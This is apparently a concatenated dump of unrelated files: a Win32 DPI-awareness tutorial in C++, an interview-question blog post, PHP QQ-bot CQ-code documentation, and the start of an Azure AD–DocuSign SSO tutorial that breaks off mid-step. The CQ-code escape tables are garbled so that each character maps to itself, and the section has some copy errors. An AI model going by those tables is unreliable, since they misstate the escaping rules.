#### Contribution
Unless you explicitly state otherwise, any contribution intentionally submitted
for inclusion in the work by you, as defined in the Apache-2.0 license, shall be
dual licensed as above, without any additional terms or conditions. | 5,283 | Apache-2.0 |
# 启用 DPI 感知（Win32 API）
首先我们需要回答一个问题：为什么要启用 DPI 感知？
对于桌面应用程序来说，并不一定需要启用 DPI 感知，即使用户界面是模糊的，也不一定会对用户的使用体验造成负面影响（但是可能会让用户怀疑开发者的水平或者对产品、对用户的重视程度）。
但是对于 Direct3D 应用程序，启用 DPI 感知就开始变得重要了。如果我们希望渲染并看到清晰的画面，自然不希望桌面窗口管理器（DWM）不解风情地暴力拉伸画面，并显示在屏幕上，这样肯定会导致渲染的画面在屏幕上的显示结果是模糊的或者有可见的像素感（整数 DPI 缩放时，如 200%、300%）。
为了声明我们的应用程序有 DPI 感知，我们有两种方法。在这篇教程中我们会接触第一种方式，即通过调用 Win32 API 来启用 DPI 感知。
# 启用系统 DPI 感知
为了启用系统 DPI 感知，我们可以调用 [SetProcessDPIAware](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocessdpiaware) 方法：
```C++
BOOL SetProcessDPIAware();
```
该方法自 Windows Vista 开始出现。
# 启用每个显示器 DPI 感知
为了启用每个显示器 DPI 感知，我们可以传递 `PROCESS_PER_MONITOR_DPI_AWARE` 参数调用 [SetProcessDpiAwareness](https://docs.microsoft.com/en-us/windows/win32/api/shellscalingapi/nf-shellscalingapi-setprocessdpiawareness) 方法：
```C++
HRESULT SetProcessDpiAwareness(
PROCESS_DPI_AWARENESS value
);
```
该方法自 Windows 8.1 开始出现。需要注意的是，该方法声明在一个单独的头文件里，如果要使用它，我们需要专门包含该头文件：
```C++
#include <ShellScalingApi.h>
```
此外，我们还需要链接到 `Shcore.lib` 才能正常编译链接。
我们还可以传递 `DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE` 参数调用 [SetProcessDpiAwarenessContext](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocessdpiawarenesscontext) 方法启用每个显示器 DPI 感知：
```C++
BOOL SetProcessDpiAwarenessContext(
DPI_AWARENESS_CONTEXT value
);
```
该方法自 Windows 10 1703 开始出现（但是微软的一些文档中也提到这个 API 是 Windows 10 1607 开始出现，我无法判断哪个才是正确的，因此选择了保险一点的版本）。
# 启用每个显示器 DPI 感知（V2）
为了启用每个显示器 DPI 感知（V2），我们可以传递 `DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2` 参数调用 [SetProcessDpiAwarenessContext](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocessdpiawarenesscontext) 方法：
```C++
BOOL SetProcessDpiAwarenessContext(
DPI_AWARENESS_CONTEXT value
);
```
该方法自 Windows 10 1709 开始出现。
# 设置不同类型的 DPI 感知
如果我们我们希望无 DPI 感知，下面的函数调用是等效的：
```C++
// SetProcessDPIAware(); // 是的，不调用它就行了
SetProcessDpiAwareness(PROCESS_DPI_UNAWARE);
SetProcessDpiAwarenessContext(DPI_AWARENESS_CONTEXT_UNAWARE);
```
如果我们希望启用系统 DPI 感知，下面的函数调用是等效的：
```C++
SetProcessDPIAware();
SetProcessDpiAwareness(PROCESS_SYSTEM_DPI_AWARE);
SetProcessDpiAwarenessContext(DPI_AWARENESS_CONTEXT_SYSTEM_AWARE);
```
如果我们希望启用每个显示器 DPI 感知，下面的函数调用是等效的：
```C++
SetProcessDpiAwareness(PROCESS_PER_MONITOR_DPI_AWARE);
SetProcessDpiAwarenessContext(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE);
```
如果我们希望启用每个显示器 DPI 感知（V2），只能这么调用：
```C++
SetProcessDpiAwarenessContext(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2);
```
# 通过运行时加载 DLL 兼容多个 Windows 版本
我们可以注意到，这三种方法分别出现于不同的时代，`SetProcessDPIAware` 是最早出现的，从 Windows Vista 开始就存在，随后 Windows 7、Windows 8 都通过这个方法启用系统 DPI 感知。从 Windwos 8.1 开始，微软加入了每个显示器 DPI 感知，这时候 `SetProcessDpiAwareness` 才开始出现。到了 Windows 10 1703，即秋季创意者更新，微软加入了 `SetProcessDpiAwarenessContext` 用于启用更加完善的每个显示器 DPI 感知（V2）。
如果希望我们开发的应用程序能最低运行于 Windows XP，那么直接链接到这些 API 显然是不可取的，这会导致应用程序在启动时就会报错。而为不同的操作系统版本提供不同的可执行文件显然会导致开发和维护工作量大增。
为了解决上述的难题，我们可以通过运行时加载 DLL、获取函数指针来启用高 DPI 感知。
为了简化逻辑，在这篇教程中，我们**仅使用大于或等于 10.0.19041.0 的 Windows SDK 版本**，更低版本的 Windows SDK 不再作考虑。如果有使用低版本 Windows SDK 编译的需求，**请自行声明所用到的函数、枚举原型**。
首先，我们声明一个结构体，用于保存 DLL 模块句柄和函数指针：
```C++
struct Loader
{
HMODULE dll_user32; // 加载的 user32.dll
HMODULE dll_shcore; // 加载的 shcore.dll
decltype(SetProcessDPIAware) api_SetProcessDPIAware;
decltype(SetProcessDpiAwareness) api_SetProcessDpiAwareness;
decltype(SetProcessDpiAwarenessContext) api_SetProcessDpiAwarenessContext;
Loader();
~Loader();
};
```
然后，在构造函数中，编写加载代码：
```C++
Loader::Loader()
: dll_user32(NULL)
, dll_shcore(NULL)
, api_SetProcessDPIAware(NULL)
, api_SetProcessDpiAwareness(NULL)
, api_SetProcessDpiAwarenessContext(NULL)
{
dll_user32 = LoadLibraryW(L"user32.dll");
dll_shcore = LoadLibraryW(L"shcore.dll");
if (dll_user32)
{
api_SetProcessDPIAware = (decltype(api_SetProcessDPIAware))
GetProcAddress(dll_user32, "SetProcessDPIAware");
api_SetProcessDpiAwarenessContext = (decltype(api_SetProcessDpiAwarenessContext))
GetProcAddress(dll_user32, "SetProcessDpiAwarenessContext");
}
if (dll_shcore)
{
api_SetProcessDpiAwareness = (decltype(api_SetProcessDpiAwareness))
GetProcAddress(dll_shcore, "SetProcessDpiAwareness");
}
}
```
由于 Windows 文件系统不区分英文大小写，外加 Windows 的系统文件大小写非常混乱，还可能随着系统版本变化，这里就统一使用小写的 DLL 文件名称。（微软，太坏了）
在析构函数中，卸载 DLL 模块：
```C++
Loader::~Loader()
{
if (dll_user32)
{
FreeLibrary(dll_user32);
}
if (dll_shcore)
{
FreeLibrary(dll_shcore);
}
dll_user32 = NULL;
dll_shcore = NULL;
api_SetProcessDPIAware = NULL;
api_SetProcessDpiAwareness = NULL;
api_SetProcessDpiAwarenessContext = NULL;
}
```
后面的那串赋值为空的清理代码只是我个人习惯。
接下来，我们编写一个类，用于封装高 DPI 相关的代码，首先我们在头文件中声明一个类和一个静态方法：
```C++
class HighDPI
{
public:
static void EnableAwareness();
};
```
接下来，我们在源文件中实现它：
```C++
static Loader loader;
void HighDPI::EnableAwareness()
{
if (loader.api_SetProcessDpiAwarenessContext)
{
SetLastError(0);
BOOL result = loader.api_SetProcessDpiAwarenessContext(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2);
DWORD error = GetLastError();
if (result == TRUE || error == ERROR_ACCESS_DENIED)
{
return; // 设置成功，或者已经通过清单文件启用，或者已经设置过
}
}
if (loader.api_SetProcessDpiAwareness)
{
HRESULT result = loader.api_SetProcessDpiAwareness(PROCESS_PER_MONITOR_DPI_AWARE);
if (result == S_OK || result == E_ACCESSDENIED)
{
return; // 设置成功，或者已经通过清单文件启用，或者已经设置过
}
}
if (loader.api_SetProcessDPIAware)
{
loader.api_SetProcessDPIAware();
}
}
```
可以看到，在调用 API 之前，首先判断其函数指针不为空，相当于判断系统是否达到某个版本或者系统是否包含了某些功能。一些人可能会有疑问：为什么不直接判断版本号？这是因为，版本号其实是一个非常复杂的内容，如果判断系统版本、Server Pack 版本、安装的 KB 补丁版本等，我们很有可能会被微软搞疯掉。关于这方面的知识，可以参考一位微软的员工编写的文章：[What's in a version number?](https://walbourn.github.io/whats-in-a-version-number/)。因此最简单的做法还是直接判断函数指针不为空。然后需要注意，有时候可能已经通过清单文件配置了 DPI 感知，或者已经设置过 DPI 感知，这时候返回失败值并不意味着 DPI 感知没有成功开启。
剩下的事情便是在主函数一开始就调用这个方法来开启高 DPI 感知，而且是在任何窗口类注册、窗口创建、消息循环之前，否则可能会出现意想不到的问题：
```C++
_Use_decl_anno_impl_
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
UNREFERENCED_PARAMETER(hInstance);
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
UNREFERENCED_PARAMETER(nShowCmd);
HighDPI::EnableAwareness();
/*
* 这里是你的逻辑代码
*/
return 0;
}
```
# 参考资料
* [Setting the default DPI awareness for a process](https://docs.microsoft.com/en-us/windows/win32/hidpi/setting-the-default-dpi-awareness-for-a-process)
* [Using Run-Time Dynamic Linking](https://docs.microsoft.com/en-us/windows/win32/dlls/using-run-time-dynamic-linking) | 6,963 | MIT |
---
layout: post
published: true
title: 面試經歷
<!--subtitle: 一些該注意-->
date: '2018-05-31'
tags: [面試, interview]
googlefont: ["微軟正黑體"]
comments: ture
---
最近在找工作，多是軟韌體工程師或是軟體工程師方面，對於面試被問的問題想做個紀錄。目的是讓自己再次回想，以及思考更好的應答方式，作為下次的面試時的參考。
面試時要強烈展現自我的企圖心，千萬不要被一兩題問倒就失去信心，**面試不是只為了練功，而是要Offer Get。**
## 關於程式方面
- 最近寫過最大的專案是什麼?
- 找過最大(最難)的Bug是什麼?
- 最喜歡的語言?
- 為甚麼喜歡寫程式?
- 使用什麼IDE?
## 關於個人、人生、其他
- 自己的三個優點及三個缺點是什麼? 覺得最大的優點是什麼?
- 遇過最難的問題是什麼?
- 最受挫的事是什麼?
- 如何面對受挫的事?
- 最有成就得事?
- 如何排解壓力?
- 不考慮金錢，最想做什麼事情?
- 未來的規劃(一年，五年)?
- 跟其他人比你的優勢在哪?
- 如何與他人相處的?
- 如何調解衝突?
- 遇到喜歡偷懶得夥伴要如何相處?
- 與同事遇到意見不合時怎麼處理?
- 公司為何要請你來?
- 還有其他的面試嗎? 面試過哪幾間?
## 你還有問題想問嗎?
- 公司的培育制度如何?
- 短期內期望新人達到的目標?
- 如果在下班時做自己的私人專案是否樂見?
最後希望大家都能找到自己喜歡的工作! | 710 | MIT |
# CQ 码（多媒体消息）
消息中的多媒体内容使用 CQ 码来表示，形如 `[CQ:face,id=178]`。其中，`[CQ:]` 是固定格式；`face` 是「功能名」，除了 `face` 还有许多不同的功能名；`id=178` 是「参数」，某些功能不需要参数，而另一些需要多个参数，当有多个参数时，参数间使用逗号分隔。
## 格式
一些 CQ 码的例子如下：
```
[CQ:shake]
[CQ:face,id=178]
[CQ:share,title=标题,url=http://baidu.com]
```
更多 CQ 码功能请参考 [消息段类型](https://github.com/howmanybots/onebot/blob/master/v11/specs/message/segment.md)。
!!! warning "注意"
CQ 码中不应有多余的空格，例如不应该使用 `[CQ:face, id=178]`。
CQ 码的参数值可以包含空格、换行、除 `[],&` 之外的特殊符号等。在解析时，应直接取 `[CQ:` 后、第一个 `,` 或 `]` 前的部分为功能名，第一个 `,` 之后到 `]` 之间的部分为参数，按 `,` 分割后，每个部分第一个 `=` 前的内容为参数名，之后的部分为参数值。例如 `[CQ:share,title=标题中有=等号,url=http://baidu.com]` 中，功能名为 `share`，`title` 参数值为 `标题中有=等号`，`url` 参数值为 `http://baidu.com`。
## 转义
CQ 码中包含一些特殊字符：`[`、`]`、`,` 等，而 CQ 码又是可能混杂在纯文本内容之中的，因此消息中的纯文本内容需要对特殊字符进行转义，以避免歧义。具体的转义规则如下：
| 转义前 | 转义后 |
| ------ | ------- |
| `&` | `&` |
| `[` | `[` |
| `]` | `]` |
另一方面，CQ 码内部的参数值也可能出现特殊字符，也是需要转义的。由于 `,`（半角逗号）在 CQ 码中用于分隔参数，因此除了上面的转义规则，还需要对 `,` 进行转义，如下：
| 转义前 | 转义后 |
| ------ | ------- |
| `&` | `&` |
| `[` | `[` |
| `]` | `]` |
| `,` | `,` |
例如，一个链接分享消息的 CQ 码可能如下：
```
[CQ:share,title=震惊,小伙睡觉前居然...,url=http://baidu.com/?a=1&b=2]
```
## 封装调用
框架提供了 CQ 码的封装，你可以在任何位置使用封装好的 CQ 码生成器。
生成器是一个静态类，里面的方法全部是静态调用，命名空间是：`ZM\API\CQ`。
例如，给用户发送图片这样写就好啦！只需要将添加图片的地方拼到回复用户的字符串里。如果只发图片，整个字符串里只能有 CQ 码。
```php
<?php
namespace Module\Example;
use ZM\API\CQ;
use ZM\Annotation\CQ\CQCommand;
class Hello {
/**
* @CQCommand("发送图片")
*/
public function msgRecv() {
return CQ::image("https://zhamao.xin/file/hello.jpg");
// 相当于返回："[CQ:image,file=https://zhamao.xin/file/hello.jpg]"
}
}
```
效果
<chat-box>
) 发送图片
[ https://zhamao.xin/file/hello.jpg
</chat-box>
## CQ 码操作
### CQ::decode()
CQ 码字符反转义。
定义：`CQ::encode($msg, $is_content = false)`
当 `$is_content` 为 true 时，会将 `,` 转义为 `,`。
| 反转义前 | 反转义后 |
| -------- | -------- |
| `&` | `&` |
| `[` | `[` |
| `]` | `]` |
| `,` | `,` |
```php
$str = CQ::decode("[CQ:at,qq=我只是一条普通的文本]");
// 转换为 "[CQ:at,qq=我只是一条普通的文本]"
```
### CQ::encode()
转义 CQ 码的敏感符号，防止 酷Q 把不该解析为 CQ 码的消息内容当作 CQ 码处理。
```php
$str = CQ::encode("[CQ:我只是一条普通的文本]");
// $str: "[CQ:我只是一条普通的文本]"
```
定义：`CQ::encode($msg, $is_content = false)`
当 `$is_content` 为 true 时，会将 `,` 转义为 `,`。
### CQ::escape()
同 `CQ::encode()`。
### CQ::removeCQ()
去除字符串中所有的 CQ 码。
```php
$str = CQ::removeCQ("[CQ:at,qq=all]这是带表情的全体消息[CQ:face,id=8]");
// $str: "这是带表情的全体消息"
```
### CQ::getCQ()
解析 CQ 码。
- 定义：`getCQ($msg, $is_object = false)`
- 参数 `$is_object` 为 true 时，返回一个 `\ZM\Entity\CQObject` 对象，此对象的属性和下表相同。（2.3.0+ 版本可用）
- 返回：`数组 | CQObject | null`，见下表。
| 键名 | 说明 |
| ------ | ------------------------------------------------------------ |
| type | CQ码类型，比如 `[CQ:at]` 中的 `at` |
| params | 参数列表，比如 `[CQ:image,file=123.jpg,url=http://a.com/a.jpg]`，params 为 `["file" => "123","url" => "http://a.com/a.jpg"]` |
| start | 此 CQ 码在字符串中的起始位置 |
| end | 此 CQ 码在字符串中的结束位置 |
### CQ::getAllCQ()
定义：`CQ::getAllCQ($msg, $is_object = false)`
参数 `$is_object` 为 true 时，返回一个 `\ZM\Entity\CQObject[]` 对象数组，此对象的属性和上面的表格内相同。（2.3.0+ 版本可用）
解析 CQ 码，和 `getCQ()` 的区别是，这个会将字符串中的所有 CQ 码都解析出来，并以同样上方解析出来的数组格式返回。
```php
CQ::getAllCQ("[CQ:at,qq=123]你好啊[CQ:at,qq=456]");
/*
[
[
"type" => "at",
"params" => [
"qq" => "123",
],
"start" => 0,
"end" => 13,
],
[
"type" => "at",
"params" => [
"qq" => "456",
],
"start" => 17,
"end" => 30,
],
]
*/
```
## CQ 码列表
### CQ::face() - 发送 QQ 表情
发送 QQ 原生表情。
定义：`CQ::face($id)`
参数：`$id` 为 QQ 表情对应的 ID 号，一些常见的表情 ID 对应的表情样式见 [QQ 对应表情ID表](https://static.zhamao.me/face_id.html)。
```php
/**
* @CQCommand("打盹")
*/
public function faceTest() {
ctx()->reply("正在打盹...");
ctx()->reply(CQ::face(8));
}
```
<chat-box>
) 打盹
( 正在打盹...
[ https://docs-v1.zhamao.xin/face/8.gif
</chat-box>
!!! note "提示"
对于不断更新的 QQ 版本下，可能会持续扩充新的 QQ 表情，如果上表没有新的表情的话，也可以使用消息接收的方式，让机器人收到表情后解析出来对应的 id 然后再发送。
### CQ::image() - 发送图片
发送图片。
定义：`image($file, $cache = true, $flash = false, $proxy = true, $timeout = -1)`
参数
| 参数名 | 收 | 发 | 默认值 | 说明 |
| --------- | ---- | ---- | ------- | ------------------------------------------------------------ |
| `file` | ✓ | ✓ | 必填 | 图片文件名 |
| `flash` | ✓ | ✓ | `false` | 图片类型，当参数为 true 时代表发送闪照 |
| `cache` | | ✓ | `true` | 只在通过网络 URL 发送时有效，表示是否使用已缓存的文件，默认 `true` |
| `proxy` | | ✓ | `true` | 只在通过网络 URL 发送时有效，表示是否通过代理下载文件（需通过环境变量或配置文件配置代理），默认 `true` |
| `timeout` | | ✓ | `-1` | 只在通过网络 URL 发送时有效，单位秒，表示下载网络文件的超时时间，默认 -1 不超时 |
发送时，`file` 参数除了支持使用收到的图片文件名直接发送外，还支持：
- 绝对路径，例如 `file:///root/imagetest/1.png`，格式使用 [`file` URI](https://tools.ietf.org/html/rfc8089)
- 网络 URL，例如 `http://i1.piimg.com/567571/fdd6e7b6d93f1ef0.jpg`
- Base64 编码，例如 `base64://iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAIAAADJt1n/AAAAKElEQVQ4EWPk5+RmIBcwkasRpG9UM4mhNxpgowFGMARGEwnBIEJVAAAdBgBNAZf+QAAAAABJRU5ErkJggg==`
### CQ::record() - 发送语音
发送语音消息。
定义：`CQ::record($file, $magic = false, $cache = true, $proxy = true, $timeout = -1)`
参数
| 参数名 | 收 | 发 | 默认值 | 说明 |
| --------- | ---- | ---- | ------- | ------------------------------------------------------------ |
| `file` | ✓ | ✓ | 必填 | 音频文件名 |
| `flash` | ✓ | ✓ | `false` | 图片类型，当参数为 true 时代表发送闪照 |
| `cache` | | ✓ | `true` | 只在通过网络 URL 发送时有效，表示是否使用已缓存的文件，默认 `true` |
| `proxy` | | ✓ | `true` | 只在通过网络 URL 发送时有效，表示是否通过代理下载文件（需通过环境变量或配置文件配置代理），默认 `true` |
| `timeout` | | ✓ | `-1` | 只在通过网络 URL 发送时有效，单位秒，表示下载网络文件的超时时间，默认 -1 不超时 |
发送时，`file` 参数除了支持使用收到的语音文件名直接发送外，还支持其它形式，参考上方发送图片。
```php
/**
* @CQCommand("说你好")
*/
public function say() {
ctx()->reply(CQ::record("https://zhamao.xin/file/hello.mp3"));
}
```
<chat-box>
) 说你好
( [语音消息，点击收听] 2'' )))
</chat-box>
> 此 CQ 码只能用于单独一条文本消息中，如果混有其他字符串，则会吞掉其他字符串内容。
### CQ::at() - 群里@某人或全体
在群里 at 某个人或全体成员（全体成员需要有管理员权限）。
定义：`CQ::at($qq)`
参数：`$qq` 参数必填，如果填的是 QQ 号，则是单独 at 某人，如果是 `all`，则是 at 全体成员。
```php
/**
* @CQCommand("at测试")
*/
public function atTest() {
ctx()->reply(CQ::at(627577391)." 你好啊！");
}
```
<chat-box>
) at测试
( @鲸鱼 你好啊！
</chat-box>
### CQ::video() - 发送短视频
发送短视频。
定义：`CQ::video($file, $cache = true, $proxy = true, $timeout = -1)`
参数
| 参数名 | 收 | 发 | 默认值 | 说明 |
| --------- | ---- | ---- | ------ | ------------------------------------------------------------ |
| `file` | ✓ | ✓ | 必填 | 短视频文件名 |
| `cache` | | ✓ | `true` | 只在通过网络 URL 发送时有效，表示是否使用已缓存的文件，默认 `true` |
| `proxy` | | ✓ | `true` | 只在通过网络 URL 发送时有效，表示是否通过代理下载文件（需通过环境变量或配置文件配置代理），默认 `true` |
| `timeout` | | ✓ | `-1` | 只在通过网络 URL 发送时有效，单位秒，表示下载网络文件的超时时间，默认 -1 不超时 |
发送时，`file` 参数除了支持使用收到的视频文件名直接发送外，还支持其它形式，参考上方发送图片。
> 此 CQ 码只能用于单独一条文本消息中，如果混有其他字符串，则会吞掉其他字符串内容。
### CQ::rps() - 猜拳
定义：`CQ::rps()`
用法：`CQ::rps()`
> 此 CQ 码只能用于单独一条文本消息中，如果混有其他字符串，则会吞掉其他字符串内容。
### CQ::dice() - 掷骰子
定义：`CQ::dice()`
用法：`CQ::dice()`
> 此 CQ 码只能用于单独一条文本消息中，如果混有其他字符串，则会吞掉其他字符串内容。
### CQ::shake() - 窗口抖动
定义：`CQ::shake()`
用法：`CQ::shake()`
> 此 CQ 码只能用于单独一条文本消息中，如果混有其他字符串，则会吞掉其他字符串内容。
### CQ::poke() - 戳一戳
发送戳一戳。
定义：`CQ::poke($type, $id, $name = "")`
参数
| 参数名 | 收 | 发 | 可能的值 | 说明 |
| ------ | ---- | ---- | ------------------------------------------------------------ | ------ |
| `type` | ✓ | ✓ | 见 [Mirai 的 PokeMessage 类](https://github.com/mamoe/mirai/blob/f5eefae7ecee84d18a66afce3f89b89fe1584b78/mirai-core/src/commonMain/kotlin/net.mamoe.mirai/message/data/HummerMessage.kt#L49) | 类型 |
| `id` | ✓ | ✓ | 同上 | ID |
| `name` | ✓ | | 同上 | 表情名 |
例子：`CQ::poke(6,-1)`
效果：放大招
> 此 CQ 码只能用于单独一条文本消息中，如果混有其他字符串，则会吞掉其他字符串内容。
### CQ::anonymous() - 匿名发消息
匿名发消息。需要在允许匿名发消息的群里发。
!!! tip "提示"
当收到匿名消息时，需要通过 [消息事件的群消息](https://github.com/howmanybots/onebot/blob/master/v11/specs/event/message.md#群消息) 的 `anonymous` 字段判断。
定义：`CQ::anonymous($ignore = 1)`
```php
/**
* @CQCommand("匿名测试")
*/
public function anonymousTest() {
ctx()->reply(CQ::anonymous()."匿名测试");
}
```
### CQ::share() - 链接分享
发送链接分享卡片，可自定义内容。
定义：`CQ::share($url, $title, $content = null, $image = null)`
参数
| 参数名 | 收 | 发 | 可能的值 | 说明 |
| --------- | ---- | ---- | -------- | -------------- |
| `url` | ✓ | ✓ | - | URL |
| `title` | ✓ | ✓ | - | 标题 |
| `content` | ✓ | ✓ | - | 可选，内容描述 |
| `image` | ✓ | ✓ | - | 可选，图片 URL |
```php
/**
* @CQCommand("链接分享测试")
*/
public function shareTest() {
ctx()->reply(CQ::share("https://baidu.com", "UC忽悠部", "震惊！我市一男子在光天化日之下..."));
}
```
### CQ::contact() - 推荐好友
发送推荐好友的卡片。
定义：`CQ::contact($type, $id)`
参数
| 参数名 | 收 | 发 | 可能的值 | 说明 |
| ------ | ---- | ---- | ------------- | ---------------------- |
| `type` | ✓ | ✓ | `qq`，`group` | 推荐好友或群 |
| `id` | ✓ | ✓ | - | 被推荐人的 QQ 号或群号 |
```php
/**
* @CQCommand("我的名片")
*/
public function myCard() {
ctx()->reply(CQ::contact("qq", ctx()->getUserId()));
}
```
### CQ::location() - 发送位置
发送位置，基于经纬度坐标发的。
定义：`CQ::location($lat, $lon, $title = "", $content = "")`
参数
| 参数名 | 收 | 发 | 可能的值 | 说明 |
| --------- | ---- | ---- | -------- | -------------- |
| `lat` | ✓ | ✓ | - | 纬度 |
| `lon` | ✓ | ✓ | - | 经度 |
| `title` | ✓ | ✓ | - | 可选，标题 |
| `content` | ✓ | ✓ | - | 可选，内容描述 |
### CQ::music() - 音乐分享
分享音乐，通过卡片。
发送音乐分享卡片。此 CQ 码如果伴随着其他文字，则文字内容会被丢弃。
定义：`CQ::music($type, $id_or_url, $audio = null, $title = null, $content = null, $image = null)`
- `$type`: 发送类型
- `$id_or_url`: 音乐的 id 或 音乐卡片点进去打开的链接
- `$audio`: 音频文件的 HTTP 地址
- `$title`: 音乐卡片的标题，建议 12 字以内
- `$content`: 音乐卡片的简介内容（可选）
- `$image`: 音乐卡片的图片的链接地址（可选）
如果 `$type` 参数为 `qq` 或 `163` 或 `xiami`，则必须且只和第二个参数 `$id_or_url` 配合使用。这三个为内置分享，需要先通过搜索功能获取对应平台歌曲的 id 后使用。
如果 `$type` 参数为 `custom`，则表明此音乐卡片为用户自定义，你可以根据自己的需要自定义卡片内容和音频。此时必须填写 `$id_or_url`, `$audio`, `$title` 三个参数。
```php
ctx()->reply(CQ::music("163", "730806")); //一首我喜欢的歌
// 以内置的发送类型发送音乐卡片，我这里挑了网易云音乐的一首歌。
ctx()->reply("custom", "https://baidu.com/", "https://zhamao.xin/file/hello.mp3", "我是Siri说出来的Hello", "不服来打我呀！", "https://zhamao.xin/file/hello.jpg");
// 自定义整个卡片的每个内容
```
### CQ::forward() - 合并转发
合并转发消息。
定义：`CQ::forward($id)`
参数
```
[CQ:forward,id=123456]
```
| 参数名 | 收 | 发 | 可能的值 | 说明 |
| ------ | ---- | ---- | -------- | ------------------------------------------------------------ |
| `id` | ✓ | | 必填 | 合并转发 ID，需通过 [`get_forward_msg` API](https://github.com/howmanybots/onebot/blob/master/v11/specs/api/public.md#get_forward_msg-获取合并转发消息) 获取具体内容 |
### CQ::node() - 合并转发自定义节点
接收时，此消息段不会直接出现在消息事件的 `message` 中，需通过 [`get_forward_msg` API](https://github.com/howmanybots/onebot/blob/master/v11/specs/api/public.md#get_forward_msg-获取合并转发消息) 获取。发送时，通过获取回来的 API 节点信息进行发送。
定义：`CQ::node($user_id, $nickname, $content)`
参数
| 参数名 | 收 | 发 | 可能的值 | 说明 |
| ---------- | ---- | ---- | -------- | ------------------------------------------------------------ |
| `user_id` | ✓ | ✓ | - | 发送者 QQ 号 |
| `nickname` | ✓ | ✓ | - | 发送者昵称 |
| `content` | ✓ | ✓ | - | 消息内容，支持发送消息时的 `message` 数据类型，见 [API 的参数](https://github.com/howmanybots/onebot/blob/master/v11/specs/api/#参数) |
```php
/**
* @CQCommand("node测试")
*/
public function nodeTest() {
ctx()->reply(CQ::node(123456, "Jack", "[CQ:face,id=123]哈喽～"));
}
```
### CQ::xml() - XML 消息
发送 QQ 兼容的 XML 多媒体消息。
定义：`CQ::xml($data)`
参数：`$data` 为 xml 字符串
```php
/**
* @CQCommand("xml测试")
*/
public function xmlTest() {
ctx()->reply(CQ::xml("<?xml ..."));
}
```
### CQ::json() - JSON 消息
发送 QQ 兼容的 JSON 多媒体消息。
定义：`CQ::json($data, $resid = 0)`
参数同上，内含 JSON 字符串即可。
其中 `$resid` 是面向 go-cqhttp 扩展的参数，默认不填为 0，走小程序通道，填了走富文本通道发送。
!!! tip "提示"
因为某些众所周知的原因，XML 和 JSON 的返回不提供实例，有兴趣的可以自行研究如何编写，文档不含任何相关教程。
### CQ::_custom() - 扩展自定义 CQ 码
用于兼容各类含有被支持的扩展 CQ 码，比如 go-cqhttp 的 `[CQ:gift]` 礼物类型。
定义：`CQ::_custom(string $type_name, array $params)`
| 参数名 | 说明 |
| ----------- | --------------------------------------------------- |
| `type_name` | CQ 码类型，如 `music`，`at` |
| `params` | 发送的 CQ 码中的参数数组，例如 `["qq" => "123456"]` |
下面是一个例子：
```php
CQ::_custom("at",["qq" => "123456","qwe" => "asd"]);
// 返回：[CQ:at,qq=123456,qwe=asd]
``` | 13,361 | Apache-2.0 |
---
title: "チュートリアル: Azure Active Directory と DocuSign の統合 | Microsoft Docs"
description: "Azure Active Directory と DocuSign の間でシングル サインオンを構成する方法について説明します。"
services: active-directory
documentationcenter:
author: jeevansd
manager: femila
editor:
ms.assetid: a691288b-84c1-40fb-84bd-5b06878865f0
ms.service: active-directory
ms.workload: identity
ms.tgt_pltfrm: na
ms.devlang: na
ms.topic: article
ms.date: 02/22/2017
ms.author: jeedes
translationtype: Human Translation
ms.sourcegitcommit: ac53d0a2c1c0a257e86fe74e10c8781aa6305975
ms.openlocfilehash: 662e853ca31d426a71121d22733256556ca56fc6
ms.lasthandoff: 02/23/2017
---
# <a name="tutorial-azure-active-directory-integration-with-docusign"></a>チュートリアル: Azure Active Directory と DocuSign の統合
このチュートリアルでは、Azure と DocuSign の統合について説明します。
このチュートリアルで説明するシナリオでは、次の項目があることを前提としています。
* 有効な Azure サブスクリプション
* DocuSign のテナント
このチュートリアルで説明するシナリオは、次の要素で構成されています。
1. [DocuSign のアプリケーション統合の有効化](#enabling-the-application-integration-for-docusign)
2. [シングル サインオンの構成](#configuring-single-sign-on)
3. [アカウント プロビジョニングの構成](#configuring-account-provisioning)
4. [ユーザーの割り当て](#assigning-users)
![シングル サインオンの構成][0]
## <a name="enabling-the-application-integration-for-docusign"></a>DocuSign のアプリケーション統合の有効化
このセクションでは、DocuSign のアプリケーション統合を有効にする方法について説明します。
### <a name="to-enable-the-application-integration-for-docusign-perform-the-following-steps"></a>DocuSign のアプリケーション統合を有効にするには、次の手順を実行します。
1. Azure クラシック ポータルの左側のナビゲーション ウィンドウで、 **[Active Directory]**をクリックします。
![シングル サインオンの構成][1]
2. [ディレクトリ] の一覧から、ディレクトリ統合を有効にするディレクトリを選択します。
3. アプリケーション ビューを開くには、ディレクトリ ビューでトップ メニューの **[アプリケーション]** をクリックします。
![シングル サインオンの構成][2]
4. ページの下部にある **[追加]** をクリックします。
![[アプリケーション]][3]
5. [実行する内容] ダイアログで、 **[ギャラリーからアプリケーションを追加します]**をクリックします。
![シングル サインオンの構成][4]
6. 検索ボックスに、「 **DocuSign**」と入力します。
![シングル サインオンの構成][5]
7. 結果ウィンドウで **[DocuSign]** を選択し、**[完了]** をクリックしてアプリケーションを追加します。
![シングル サインオンの構成][6]
## <a name="configuring-single-sign-on"></a>シングル サインオンの構成
このセクションでは、ユーザーが SAML プロトコルに基づくフェデレーションを使用して、Azure AD のユーザー アカウントで DocuSign に対する認証を行うことができるようにする方法を説明します。
### <a name="to-configure-single-sign-on-perform-the-following-steps"></a>シングル サインオンを構成するには、次の手順を実行します。
1. Azure クラシック ポータルの **DocuSign アプリケーション統合**ページで **[シングル サインオンの構成]** をクリックし、[シングル サインオンの構成] ダイアログを開きます。
![シングル サインオンの構成][7]
2. **[ユーザーの DocuSign へのアクセスを設定してください]** ページで、**[Microsoft Azure AD のシングル サインオン]** を選択してから [次へ] をクリックします。
![シングル サインオンの構成][8]
3. **[アプリケーション設定の構成]** ページで、次の手順を実行します。
![シングル サインオンの構成][61]
